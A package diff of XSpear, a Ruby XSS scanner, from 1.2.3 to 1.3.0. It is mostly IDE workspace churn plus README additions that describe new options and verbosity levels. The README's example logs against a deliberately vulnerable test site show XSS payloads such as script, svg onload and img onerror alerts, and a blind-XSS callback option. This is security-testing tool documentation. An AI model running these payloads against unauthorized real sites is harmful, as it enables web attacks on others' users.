XSpear 1.2.3 → 1.3.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: e424021e52b442bddc6cd364b9c5cb6a59e70490d68b06ac08c804e2d05ffeae
4
- data.tar.gz: ec290b0fd740ea40235cec72ed97912edbca7e2851a56b689ed85b2f46c2cbba
3
+ metadata.gz: 3a4ad44a0682af3bee97123748084c84a9e99173dd54a4c3cb6b7987ff2a5849
4
+ data.tar.gz: f8f3fc5a8ea264728dcd49d3257d6abcee7bd2e06b91b651aa8ebcd5ff21dcd0
5
5
  SHA512:
6
- metadata.gz: bd758a2fe9745c9d028b7b3cd97360340fc0a390e4b15690bd310972b2b711d2b2a28cf60cab3c573b697daf5a3524c627aad20e5f3545f44e395dd9f1b3dc2d
7
- data.tar.gz: '024388dfb74f53d07cbc7e1891799211138d30ee646579449e3bef63590b3e2f1017381dfcaeb4cd12da8bd0498095db19d7a8c3903d0e3cf3898f373cf741fe'
6
+ metadata.gz: ae4acb32ea4ba0951bf4a52b6cb89bc14187a834603bd973440252a64bbdeb0beecb74003518e79feb903601d6f81af5de4fc9f88aa799791a6ae008d04f2744
7
+ data.tar.gz: d192f703cb73d0e2cdd1d6a9a815d48961c0b5576659331842de7110755cec9b2d494d71fba235d8ab8b844f6f32ef413cb719a89f77574933d784ccfab07d4a
data/.idea/workspace.xml CHANGED
@@ -3,7 +3,8 @@
3
3
  <component name="ChangeListManager">
4
4
  <list default="true" id="4ee2e581-45d7-4c90-b6a1-e92e4b5829dd" name="Default Changelist" comment="">
5
5
  <change beforePath="$PROJECT_DIR$/.idea/workspace.xml" beforeDir="false" afterPath="$PROJECT_DIR$/.idea/workspace.xml" afterDir="false" />
6
- <change beforePath="$PROJECT_DIR$/XSpear-1.2.2.gem" beforeDir="false" />
6
+ <change beforePath="$PROJECT_DIR$/README.md" beforeDir="false" afterPath="$PROJECT_DIR$/README.md" afterDir="false" />
7
+ <change beforePath="$PROJECT_DIR$/exe/XSpear" beforeDir="false" afterPath="$PROJECT_DIR$/exe/XSpear" afterDir="false" />
7
8
  <change beforePath="$PROJECT_DIR$/lib/XSpear.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear.rb" afterDir="false" />
8
9
  <change beforePath="$PROJECT_DIR$/lib/XSpear/version.rb" beforeDir="false" afterPath="$PROJECT_DIR$/lib/XSpear/version.rb" afterDir="false" />
9
10
  </list>
@@ -21,31 +22,29 @@
21
22
  <file pinned="false" current-in-tab="false">
22
23
  <entry file="file://$PROJECT_DIR$/exe/XSpear">
23
24
  <provider selected="true" editor-type-id="text-editor">
24
- <state relative-caret-position="-1138">
25
- <caret line="28" column="34" selection-start-line="28" selection-start-column="34" selection-end-line="28" selection-end-column="34" />
25
+ <state relative-caret-position="489">
26
+ <caret line="60" column="77" selection-start-line="60" selection-start-column="77" selection-end-line="60" selection-end-column="77" />
26
27
  </state>
27
28
  </provider>
28
29
  </entry>
29
30
  </file>
30
31
  <file pinned="false" current-in-tab="false">
31
- <entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
32
- <provider selected="true" editor-type-id="text-editor">
33
- <state relative-caret-position="331">
34
- <caret line="666" column="13" lean-forward="true" selection-start-line="666" selection-start-column="13" selection-end-line="666" selection-end-column="13" />
32
+ <entry file="file://$PROJECT_DIR$/README.md">
33
+ <provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
34
+ <state split_layout="SPLIT">
35
+ <first_editor relative-caret-position="6480">
36
+ <caret line="432" column="38" lean-forward="true" selection-start-line="432" selection-start-column="38" selection-end-line="432" selection-end-column="38" />
37
+ </first_editor>
38
+ <second_editor />
35
39
  </state>
36
40
  </provider>
37
41
  </entry>
38
42
  </file>
39
43
  <file pinned="false" current-in-tab="false">
40
- <entry file="file://$PROJECT_DIR$/bin/console">
41
- <provider selected="true" editor-type-id="text-editor" />
42
- </entry>
43
- </file>
44
- <file pinned="false" current-in-tab="false">
45
- <entry file="file://$USER_HOME$/.rvm/rubies/ruby-2.4.6/lib/ruby/site_ruby/2.4.0/rubygems/core_ext/kernel_require.rb">
44
+ <entry file="file://$PROJECT_DIR$/config.json">
46
45
  <provider selected="true" editor-type-id="text-editor">
47
- <state relative-caret-position="795">
48
- <caret line="53" selection-start-line="53" selection-end-line="53" />
46
+ <state relative-caret-position="105">
47
+ <caret line="7" column="13" selection-end-line="8" selection-end-column="1" />
49
48
  </state>
50
49
  </provider>
51
50
  </entry>
@@ -53,47 +52,60 @@
53
52
  <file pinned="false" current-in-tab="false">
54
53
  <entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
55
54
  <provider selected="true" editor-type-id="text-editor">
56
- <state relative-caret-position="1095">
55
+ <state relative-caret-position="28">
57
56
  <caret line="73" selection-start-line="73" selection-end-line="73" />
58
57
  </state>
59
58
  </provider>
60
59
  </entry>
61
60
  </file>
62
- <file pinned="false" current-in-tab="false">
63
- <entry file="file://$PROJECT_DIR$/lib/XSpear/log.rb">
61
+ <file pinned="false" current-in-tab="true">
62
+ <entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
64
63
  <provider selected="true" editor-type-id="text-editor">
65
- <state relative-caret-position="225">
66
- <caret line="15" column="28" selection-start-line="15" selection-start-column="28" selection-end-line="15" selection-end-column="28" />
64
+ <state relative-caret-position="325">
65
+ <caret line="183" column="6" selection-start-line="183" selection-start-column="6" selection-end-line="183" selection-end-column="6" />
67
66
  </state>
68
67
  </provider>
69
68
  </entry>
70
69
  </file>
71
- <file pinned="false" current-in-tab="true">
72
- <entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
70
+ <file pinned="false" current-in-tab="false">
71
+ <entry file="file://$PROJECT_DIR$/bin/console">
72
+ <provider selected="true" editor-type-id="text-editor" />
73
+ </entry>
74
+ </file>
75
+ <file pinned="false" current-in-tab="false">
76
+ <entry file="file://$PROJECT_DIR$/lib/XSpear/log.rb">
73
77
  <provider selected="true" editor-type-id="text-editor">
74
- <state relative-caret-position="15">
75
- <caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
78
+ <state relative-caret-position="195">
79
+ <caret line="13" column="38" selection-start-line="13" selection-start-column="38" selection-end-line="13" selection-end-column="38" />
76
80
  </state>
77
81
  </provider>
78
82
  </entry>
79
83
  </file>
80
84
  <file pinned="false" current-in-tab="false">
81
- <entry file="file://$PROJECT_DIR$/XSpear.gemspec">
85
+ <entry file="file://$APPLICATION_HOME_DIR$/rubystubs23/string.rb">
82
86
  <provider selected="true" editor-type-id="text-editor">
83
- <state relative-caret-position="105">
84
- <caret line="7" column="23" selection-start-line="7" selection-start-column="23" selection-end-line="7" selection-end-column="38" />
87
+ <state relative-caret-position="237">
88
+ <caret line="302" column="6" selection-start-line="302" selection-start-column="6" selection-end-line="302" selection-end-column="6" />
85
89
  </state>
86
90
  </provider>
87
91
  </entry>
88
92
  </file>
89
93
  <file pinned="false" current-in-tab="false">
90
- <entry file="file://$PROJECT_DIR$/Rakefile">
91
- <provider selected="true" editor-type-id="text-editor" />
94
+ <entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
95
+ <provider selected="true" editor-type-id="text-editor">
96
+ <state relative-caret-position="15">
97
+ <caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
98
+ </state>
99
+ </provider>
92
100
  </entry>
93
101
  </file>
94
102
  <file pinned="false" current-in-tab="false">
95
- <entry file="file:///usr/local/bin/rake">
96
- <provider selected="true" editor-type-id="text-editor" />
103
+ <entry file="file://$PROJECT_DIR$/XSpear.gemspec">
104
+ <provider selected="true" editor-type-id="text-editor">
105
+ <state relative-caret-position="480">
106
+ <caret line="44" column="47" selection-start-line="44" selection-start-column="35" selection-end-line="44" selection-end-column="47" />
107
+ </state>
108
+ </provider>
97
109
  </entry>
98
110
  </file>
99
111
  </leaf>
@@ -103,6 +115,15 @@
103
115
  <find>BLINDNOTDETECTED</find>
104
116
  <find>@all</find>
105
117
  <find>@reflected_params</find>
118
+ <find>@thread</find>
119
+ <find>thread</find>
120
+ <find>STATIC</find>
121
+ <find>@progress</find>
122
+ <find>@progre</find>
123
+ <find>@verbose</find>
124
+ <find>puts</find>
125
+ <find>not fil</find>
126
+ <find>EH</find>
106
127
  </findStrings>
107
128
  </component>
108
129
  <component name="Git.Settings">
@@ -111,22 +132,23 @@
111
132
  <component name="IdeDocumentHistory">
112
133
  <option name="CHANGED_PATHS">
113
134
  <list>
114
- <option value="$PROJECT_DIR$/lib/XSpear/log.rb" />
115
- <option value="$PROJECT_DIR$/XSpear.gemspec" />
116
135
  <option value="$PROJECT_DIR$/lib/XSpear/banner.rb" />
117
136
  <option value="$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb" />
118
- <option value="$PROJECT_DIR$/README.md" />
137
+ <option value="$PROJECT_DIR$/config.json" />
138
+ <option value="$PROJECT_DIR$/XSpear.gemspec" />
139
+ <option value="$PROJECT_DIR$/lib/XSpear/log.rb" />
119
140
  <option value="$PROJECT_DIR$/exe/XSpear" />
120
- <option value="$PROJECT_DIR$/lib/XSpear.rb" />
121
141
  <option value="$PROJECT_DIR$/lib/XSpear/version.rb" />
142
+ <option value="$PROJECT_DIR$/README.md" />
143
+ <option value="$PROJECT_DIR$/lib/XSpear.rb" />
122
144
  </list>
123
145
  </option>
124
146
  </component>
125
- <component name="ProjectFrameBounds" extendedState="6" fullScreen="true">
126
- <option name="x" value="-1920" />
127
- <option name="y" value="-643" />
128
- <option name="width" value="1920" />
129
- <option name="height" value="1080" />
147
+ <component name="ProjectFrameBounds" extendedState="6">
148
+ <option name="x" value="-1879" />
149
+ <option name="y" value="-620" />
150
+ <option name="width" value="1036" />
151
+ <option name="height" value="1057" />
130
152
  </component>
131
153
  <component name="ProjectLevelVcsManager" settingsEditedManually="true">
132
154
  <ConfirmationsSetting value="2" id="Add" />
@@ -237,42 +259,7 @@
237
259
  <workItem from="1564151699165" duration="2494000" />
238
260
  <workItem from="1564413097342" duration="11274000" />
239
261
  <workItem from="1574090247432" duration="1799000" />
240
- <workItem from="1577115206395" duration="3266000" />
241
- </task>
242
- <task id="LOCAL-00017" summary="1.0.0 Final commit">
243
- <created>1563553596470</created>
244
- <option name="number" value="00017" />
245
- <option name="presentableId" value="LOCAL-00017" />
246
- <option name="project" value="LOCAL" />
247
- <updated>1563553596470</updated>
248
- </task>
249
- <task id="LOCAL-00018" summary="Edit readme">
250
- <created>1563554102958</created>
251
- <option name="number" value="00018" />
252
- <option name="presentableId" value="LOCAL-00018" />
253
- <option name="project" value="LOCAL" />
254
- <updated>1563554102958</updated>
255
- </task>
256
- <task id="LOCAL-00019" summary="modify dependency rspec">
257
- <created>1563555157935</created>
258
- <option name="number" value="00019" />
259
- <option name="presentableId" value="LOCAL-00019" />
260
- <option name="project" value="LOCAL" />
261
- <updated>1563555157935</updated>
262
- </task>
263
- <task id="LOCAL-00020" summary="modify dependency rspec">
264
- <created>1563555198677</created>
265
- <option name="number" value="00020" />
266
- <option name="presentableId" value="LOCAL-00020" />
267
- <option name="project" value="LOCAL" />
268
- <updated>1563555198677</updated>
269
- </task>
270
- <task id="LOCAL-00021" summary="modify dependency rspec">
271
- <created>1563638920975</created>
272
- <option name="number" value="00021" />
273
- <option name="presentableId" value="LOCAL-00021" />
274
- <option name="project" value="LOCAL" />
275
- <updated>1563638920975</updated>
262
+ <workItem from="1577115206395" duration="20463000" />
276
263
  </task>
277
264
  <task id="LOCAL-00022" summary="Change Badge(version)">
278
265
  <created>1563639231885</created>
@@ -582,11 +569,46 @@
582
569
  <option name="project" value="LOCAL" />
583
570
  <updated>1577118338926</updated>
584
571
  </task>
585
- <option name="localTasksCounter" value="66" />
572
+ <task id="LOCAL-00066" summary="(1.2.3) Bug fix #35">
573
+ <created>1577118594609</created>
574
+ <option name="number" value="00066" />
575
+ <option name="presentableId" value="LOCAL-00066" />
576
+ <option name="project" value="LOCAL" />
577
+ <updated>1577118594609</updated>
578
+ </task>
579
+ <task id="LOCAL-00067" summary="(1.3) fixed #38 (Added path scan)">
580
+ <created>1577596645830</created>
581
+ <option name="number" value="00067" />
582
+ <option name="presentableId" value="LOCAL-00067" />
583
+ <option name="project" value="LOCAL" />
584
+ <updated>1577596645830</updated>
585
+ </task>
586
+ <task id="LOCAL-00068" summary="(1.3) fixed #39 (Added inJS scan)">
587
+ <created>1577597049653</created>
588
+ <option name="number" value="00068" />
589
+ <option name="presentableId" value="LOCAL-00068" />
590
+ <option name="project" value="LOCAL" />
591
+ <updated>1577597049653</updated>
592
+ </task>
593
+ <task id="LOCAL-00069" summary="(1.3) fixed #37 (Added -c --config options)">
594
+ <created>1577612095200</created>
595
+ <option name="number" value="00069" />
596
+ <option name="presentableId" value="LOCAL-00069" />
597
+ <option name="project" value="LOCAL" />
598
+ <updated>1577612095200</updated>
599
+ </task>
600
+ <task id="LOCAL-00070" summary="(1.3) fixed #40 (Reformating Logs / Verbose 0~4)">
601
+ <created>1577626433478</created>
602
+ <option name="number" value="00070" />
603
+ <option name="presentableId" value="LOCAL-00070" />
604
+ <option name="project" value="LOCAL" />
605
+ <updated>1577626433478</updated>
606
+ </task>
607
+ <option name="localTasksCounter" value="71" />
586
608
  <servers />
587
609
  </component>
588
610
  <component name="TimeTrackingManager">
589
- <option name="totallyTimeSpent" value="55309000" />
611
+ <option name="totallyTimeSpent" value="72506000" />
590
612
  </component>
591
613
  <component name="TodoView">
592
614
  <todo-panel id="selected-file">
@@ -598,10 +620,10 @@
598
620
  </todo-panel>
599
621
  </component>
600
622
  <component name="ToolWindowManager">
601
- <frame x="-1920" y="-643" width="1920" height="1080" extended-state="6" />
623
+ <frame x="-1879" y="-620" width="1879" height="1057" extended-state="6" />
602
624
  <editor active="true" />
603
625
  <layout>
604
- <window_info active="true" content_ui="combo" id="Project" order="0" visible="true" weight="0.13045794" />
626
+ <window_info active="true" content_ui="combo" id="Project" order="0" visible="true" weight="0.13336962" />
605
627
  <window_info id="Structure" order="1" side_tool="true" weight="0.25" />
606
628
  <window_info id="Favorites" order="2" side_tool="true" />
607
629
  <window_info anchor="bottom" id="Message" order="0" />
@@ -614,9 +636,9 @@
614
636
  <window_info anchor="bottom" id="Docker" order="7" show_stripe_button="false" />
615
637
  <window_info anchor="bottom" id="Database Changes" order="8" />
616
638
  <window_info anchor="bottom" id="Version Control" order="9" />
617
- <window_info anchor="bottom" id="Terminal" order="10" visible="true" weight="0.32970297" />
639
+ <window_info anchor="bottom" id="Terminal" order="10" visible="true" weight="0.2373057" />
618
640
  <window_info anchor="bottom" id="Event Log" order="11" side_tool="true" />
619
- <window_info anchor="bottom" id="Messages" order="12" weight="0.32953367" />
641
+ <window_info anchor="bottom" id="Messages" order="12" weight="0.32857144" />
620
642
  <window_info anchor="right" id="Commander" internal_type="SLIDING" order="0" type="SLIDING" weight="0.4" />
621
643
  <window_info anchor="right" id="Ant Build" order="1" weight="0.25" />
622
644
  <window_info anchor="right" content_ui="combo" id="Hierarchy" order="2" weight="0.25" />
@@ -627,11 +649,6 @@
627
649
  <option name="version" value="1" />
628
650
  </component>
629
651
  <component name="VcsManagerConfiguration">
630
- <MESSAGE value="(1.0.7) Releases 1.0.7 (Modify Format, etc..)" />
631
- <MESSAGE value="(1.0.8) Add event handler &amp; html5 XSS code, new pattern" />
632
- <MESSAGE value="(1.0.8) Releases 1.0.8" />
633
- <MESSAGE value="(1.0.9)[Fixed #11] Add check 'useful code'" />
634
- <MESSAGE value="(1.0.9)[Fixed #12] Modify XSpear Struct(option.* =&gt; options [hash])" />
635
652
  <MESSAGE value="(1.0.9)[Fixed #10] Add raw file read options" />
636
653
  <MESSAGE value="(1.0.9)[Fixed #13] Remove add pattern from StandardError in 'makeQueryPattern'" />
637
654
  <MESSAGE value="(1.0.9) Releases 1.0.9 / Add --raw options, code refactoring, fixed bugs" />
@@ -652,7 +669,12 @@
652
669
  <MESSAGE value="(1.1.6) Add Event handler pattern (whatthe=&quot;&quot;onload)" />
653
670
  <MESSAGE value="(1.2.1) Added ''-a(--test-all-params)' mode(#27) and bug fix(#34)" />
654
671
  <MESSAGE value="(1.2.2) Remove Debug Code" />
655
- <option name="LAST_COMMIT_MESSAGE" value="(1.2.2) Remove Debug Code" />
672
+ <MESSAGE value="(1.2.3) Bug fix #35" />
673
+ <MESSAGE value="(1.3) fixed #38 (Added path scan)" />
674
+ <MESSAGE value="(1.3) fixed #39 (Added inJS scan)" />
675
+ <MESSAGE value="(1.3) fixed #37 (Added -c --config options)" />
676
+ <MESSAGE value="(1.3) fixed #40 (Reformating Logs / Verbose 0~4)" />
677
+ <option name="LAST_COMMIT_MESSAGE" value="(1.3) fixed #40 (Reformating Logs / Verbose 0~4)" />
656
678
  </component>
657
679
  <component name="editorHistoryManager">
658
680
  <entry file="file://$USER_HOME$/.rvm/gems/ruby-2.4.6/gems/bundler-2.0.1/lib/bundler/rubygems_integration.rb">
@@ -675,16 +697,6 @@
675
697
  </state>
676
698
  </provider>
677
699
  </entry>
678
- <entry file="file://$PROJECT_DIR$/README.md">
679
- <provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
680
- <state split_layout="SPLIT">
681
- <first_editor relative-caret-position="180">
682
- <caret line="12" column="72" selection-start-line="12" selection-start-column="72" selection-end-line="12" selection-end-column="72" />
683
- </first_editor>
684
- <second_editor />
685
- </state>
686
- </provider>
687
- </entry>
688
700
  <entry file="file://$USER_HOME$/.rvm/rubies/ruby-2.4.6/lib/ruby/site_ruby/2.4.0/rubygems/core_ext/kernel_require.rb">
689
701
  <provider selected="true" editor-type-id="text-editor">
690
702
  <state relative-caret-position="795">
@@ -692,30 +704,47 @@
692
704
  </state>
693
705
  </provider>
694
706
  </entry>
695
- <entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
707
+ <entry file="file://$PROJECT_DIR$/Rakefile">
708
+ <provider selected="true" editor-type-id="text-editor" />
709
+ </entry>
710
+ <entry file="file:///usr/local/bin/rake">
711
+ <provider selected="true" editor-type-id="text-editor" />
712
+ </entry>
713
+ <entry file="file://$PROJECT_DIR$/Gemfile">
714
+ <provider selected="true" editor-type-id="text-editor" />
715
+ </entry>
716
+ <entry file="file://$PROJECT_DIR$/config.json">
696
717
  <provider selected="true" editor-type-id="text-editor">
697
- <state relative-caret-position="1095">
698
- <caret line="73" selection-start-line="73" selection-end-line="73" />
718
+ <state relative-caret-position="105">
719
+ <caret line="7" column="13" selection-end-line="8" selection-end-column="1" />
699
720
  </state>
700
721
  </provider>
701
722
  </entry>
702
- <entry file="file://$PROJECT_DIR$/XSpear.gemspec">
723
+ <entry file="file://$APPLICATION_HOME_DIR$/rubystubs23/string.rb">
703
724
  <provider selected="true" editor-type-id="text-editor">
704
- <state relative-caret-position="105">
705
- <caret line="7" column="23" selection-start-line="7" selection-start-column="23" selection-end-line="7" selection-end-column="38" />
725
+ <state relative-caret-position="237">
726
+ <caret line="302" column="6" selection-start-line="302" selection-start-column="6" selection-end-line="302" selection-end-column="6" />
706
727
  </state>
707
728
  </provider>
708
729
  </entry>
709
- <entry file="file://$PROJECT_DIR$/Rakefile">
710
- <provider selected="true" editor-type-id="text-editor" />
711
- </entry>
712
- <entry file="file:///usr/local/bin/rake">
713
- <provider selected="true" editor-type-id="text-editor" />
730
+ <entry file="file://$USER_HOME$/.rvm/gems/ruby-2.4.6/gems/options-2.3.2/lib/options.rb">
731
+ <provider selected="true" editor-type-id="text-editor">
732
+ <state relative-caret-position="15">
733
+ <caret line="1" column="21" selection-start-line="1" selection-start-column="21" selection-end-line="1" selection-end-column="21" />
734
+ </state>
735
+ </provider>
714
736
  </entry>
715
737
  <entry file="file://$PROJECT_DIR$/lib/XSpear/log.rb">
716
738
  <provider selected="true" editor-type-id="text-editor">
717
- <state relative-caret-position="225">
718
- <caret line="15" column="28" selection-start-line="15" selection-start-column="28" selection-end-line="15" selection-end-column="28" />
739
+ <state relative-caret-position="195">
740
+ <caret line="13" column="38" selection-start-line="13" selection-start-column="38" selection-end-line="13" selection-end-column="38" />
741
+ </state>
742
+ </provider>
743
+ </entry>
744
+ <entry file="file://$PROJECT_DIR$/XSpear.gemspec">
745
+ <provider selected="true" editor-type-id="text-editor">
746
+ <state relative-caret-position="480">
747
+ <caret line="44" column="47" selection-start-line="44" selection-start-column="35" selection-end-line="44" selection-end-column="47" />
719
748
  </state>
720
749
  </provider>
721
750
  </entry>
@@ -724,22 +753,39 @@
724
753
  </entry>
725
754
  <entry file="file://$PROJECT_DIR$/exe/XSpear">
726
755
  <provider selected="true" editor-type-id="text-editor">
727
- <state relative-caret-position="-1138">
728
- <caret line="28" column="34" selection-start-line="28" selection-start-column="34" selection-end-line="28" selection-end-column="34" />
756
+ <state relative-caret-position="489">
757
+ <caret line="60" column="77" selection-start-line="60" selection-start-column="77" selection-end-line="60" selection-end-column="77" />
729
758
  </state>
730
759
  </provider>
731
760
  </entry>
732
- <entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
761
+ <entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
733
762
  <provider selected="true" editor-type-id="text-editor">
734
- <state relative-caret-position="331">
735
- <caret line="666" column="13" lean-forward="true" selection-start-line="666" selection-start-column="13" selection-end-line="666" selection-end-column="13" />
763
+ <state relative-caret-position="15">
764
+ <caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
736
765
  </state>
737
766
  </provider>
738
767
  </entry>
739
- <entry file="file://$PROJECT_DIR$/lib/XSpear/version.rb">
768
+ <entry file="file://$PROJECT_DIR$/README.md">
769
+ <provider selected="true" editor-type-id="split-provider[text-editor;markdown-preview-editor]">
770
+ <state split_layout="SPLIT">
771
+ <first_editor relative-caret-position="6480">
772
+ <caret line="432" column="38" lean-forward="true" selection-start-line="432" selection-start-column="38" selection-end-line="432" selection-end-column="38" />
773
+ </first_editor>
774
+ <second_editor />
775
+ </state>
776
+ </provider>
777
+ </entry>
778
+ <entry file="file://$PROJECT_DIR$/lib/XSpear/XSpearRepoter.rb">
740
779
  <provider selected="true" editor-type-id="text-editor">
741
- <state relative-caret-position="15">
742
- <caret line="1" column="18" selection-start-line="1" selection-start-column="18" selection-end-line="1" selection-end-column="18" />
780
+ <state relative-caret-position="28">
781
+ <caret line="73" selection-start-line="73" selection-end-line="73" />
782
+ </state>
783
+ </provider>
784
+ </entry>
785
+ <entry file="file://$PROJECT_DIR$/lib/XSpear.rb">
786
+ <provider selected="true" editor-type-id="text-editor">
787
+ <state relative-caret-position="325">
788
+ <caret line="183" column="6" selection-start-line="183" selection-start-column="6" selection-end-line="183" selection-end-column="6" />
743
789
  </state>
744
790
  </provider>
745
791
  </entry>
data/README.md CHANGED
@@ -8,22 +8,29 @@ XSpear is XSS Scanner on ruby gems
8
8
  ## Key features
9
9
  - Pattern matching based XSS scanning
10
10
  - Detect `alert` `confirm` `prompt` event on headless browser (with Selenium)
11
- - Testing request/response for XSS protection bypass and reflected params<br>
11
+ - Testing request/response for XSS protection bypass and reflected(or all) params<br>
12
12
  + Reflected Params
13
+ + All params(for blind xss, anytings)
13
14
  + Filtered test `event handler` `HTML tag` `Special Char` `Useful code`
14
15
  - Testing Blind XSS (with XSS Hunter , ezXSS, HBXSS, Etc all url base blind test...)
15
16
  - Dynamic/Static Analysis
16
17
  + Find SQL Error pattern
17
18
  + Analysis Security headers(`CSP` `HSTS` `X-frame-options`, `XSS-protection` etc.. )
18
19
  + Analysis Other headers..(Server version, Content-Type, etc...)
20
+ + XSS Testing to URI Path
19
21
  - Scanning from Raw file(Burp suite, ZAP Request)
20
22
  - XSpear running on ruby code(with Gem library)
21
23
  - Show `table base cli-report` and `filtered rule`, `testing raw query`(url)
22
24
  - Testing at selected parameters
23
25
  - Support output format `cli` `json`
24
26
  + cli: summary, filtered rule(params), Raw Query
25
- - Support Verbose level (quit / nomal / raw data)
27
+ - Support Verbose level (0~3)
28
+ + 0: quite mode(only result)
29
+ + 1: show scanning status(default)
30
+ + 2: show scanning logs
31
+ + 3: show detail log(req/res)
26
32
  - Support custom callback code to any test various attack vectors
33
+ - Support Config file
27
34
 
28
35
  ## Installation
29
36
 
@@ -53,6 +60,7 @@ If you configured it to install automatically in the Gem library, but it behaves
53
60
  $ gem install colorize
54
61
  $ gem install selenium-webdriver
55
62
  $ gem install terminal-table
63
+ $ gem install progress_bar
56
64
  ```
57
65
 
58
66
  ## Usage on cli
@@ -60,11 +68,13 @@ $ gem install terminal-table
60
68
  ```
61
69
  Usage: xspear -u [target] -[options] [value]
62
70
  [ e.g ]
63
- $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
71
+ $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin' -v 1 -a
72
+ $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
64
73
 
65
74
  [ Options ]
66
75
  -u, --url=target_URL [required] Target Url
67
76
  -d, --data=POST Body [optional] POST Method Body data
77
+ -a, --test-all-params [optional] test to all params(include not reflected)
68
78
  --headers=HEADERS [optional] Add HTTP Headers
69
79
  --cookie=COOKIE [optional] Add Cookie
70
80
  --raw=FILENAME [optional] Load raw file(e.g raw_sample.txt)
@@ -73,11 +83,12 @@ $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
73
83
  + with XSS Hunter, ezXSS, HBXSS, etc...
74
84
  + e.g : -b https://hahwul.xss.ht
75
85
  -t, --threads=NUMBER [optional] thread , default: 10
76
- -o, --output=FILENAME [optional] Save JSON Result
77
- -v, --verbose=1~3 [optional] Show log depth
78
- + Default value: 2
79
- + v=1 : quite mode
80
- + v=2 : show scanning log
86
+ -o, --output=FORMAT [optional] Output format (cli , json)
87
+ -c, --config=FILENAME [optional] Using config.json
88
+ -v, --verbose=0~3 [optional] Show log depth
89
+ + v=0 : quite mode(only result)
90
+ + v=1 : show scanning status(default)
91
+ + v=2 : show scanning logs
81
92
  + v=3 : show detail log(req/res)
82
93
  -h, --help Prints this help
83
94
  --version Show XSpear version
@@ -91,40 +102,218 @@ $ xspear -u 'https://www.hahwul.com/?q=123' --cookie='role=admin'
91
102
  - (M)EDIUM: medium level issue
92
103
  - (H)IGH: high level issue
93
104
 
105
+ ### Verbose Mode
106
+ **[0] quite mode(show only result)**
107
+ ```
108
+ $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 0
109
+ you see report
110
+ ```
111
+ **[1] show progress bar (default)**
112
+ ```
113
+ $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 1
114
+ [*] analysis request..
115
+ [*] used test-reflected-params mode(default)
116
+ [*] creating a test query [for reflected 2 param + blind XSS ]
117
+ [*] test query generation is complete. [249 query]
118
+ [*] starting XSS Scanning. [10 threads]
119
+
120
+ [#######################################] [249/249] [100.00%] [01:05] [00:00] [ 3.83/s]
121
+ ...
122
+ you see report
123
+ ```
124
+ **[2] show scanning logs**
125
+ ```
126
+ $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 2
127
+ [*] analysis request..
128
+ [I] [22:42:41] [200/OK] [param: cat][Found SQL Error Pattern]
129
+ [-] [22:42:41] [200/OK] 'STATIC' not reflected
130
+ [-] [22:42:41] [200/OK] 'cat' not reflected <script>alert(45)</script>
131
+ [I] [22:42:41] [200/OK] reflected rEfe6[param: cat][reflected parameter]
132
+ [*] used test-reflected-params mode(default)
133
+ [*] creating a test query [for reflected 2 param + blind XSS ]
134
+ [*] test query generation is complete. [249 query]
135
+ [*] starting XSS Scanning. [10 threads]
136
+ [I] [22:42:43] [200/OK] reflected onhwul=64[param: cat][reflected EHon{any} pattern]
137
+ [-] [22:42:54] [200/OK] 'cat' not reflected <img/src onerror=alert(45)>
138
+ [-] [22:42:54] [200/OK] 'cat' not reflected <svg/onload=alert(45)>
139
+ [H] [22:42:54] [200/OK] reflected <script>alert(45)</script>[param: cat][reflected XSS Code]
140
+ [V] [22:42:59] [200/OK] found alert/prompt/confirm (45) in selenium!! '"><svg/onload=alert(45)>[param: cat][triggered <svg/onload=alert(45)>]
141
+ ...
142
+ you see report
143
+ ```
144
+ **[3] show scanning detail logs**
145
+ ```
146
+ $ xspear -u "http://testphp.vulnweb.com/listproducts.php?cat=123" -v 3
147
+ [*] analysis request..
148
+ [-] [22:56:21] [200/OK] http://testphp.vulnweb.com/listproducts.php?cat=123 in url
149
+ [ Request ]
150
+ {"accept-encoding"=>["gzip;q=1.0,deflate;q=0.6,identity;q=0.3"], "accept"=>["*/*"], "user-agent"=>["Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0"], "connection"=>["keep-alive"], "host"=>["testphp.vulnweb.com"]}
151
+ [ Response ]
152
+ {"server"=>["nginx/1.4.1"], "date"=>["Sun, 29 Dec 2019 13:53:23 GMT"], "content-type"=>["text/html"], "transfer-encoding"=>["chunked"], "connection"=>["keep-alive"], "x-powered-by"=>["PHP/5.3.10-1~lucid+2uwsgi2"]}
153
+ [-] [22:56:21] [200/OK] 'STATIC' not reflected
154
+ [-] [22:56:21] [200/OK] cat=123rEfe6 in url
155
+ ...
156
+ [*] used test-reflected-params mode(default)
157
+ [*] creating a test query [for reflected 2 param + blind XSS ]
158
+ [*] test query generation is complete. [249 query]
159
+ [*] starting XSS Scanning. [10 threads]
160
+ ...
161
+ [ Request ]
162
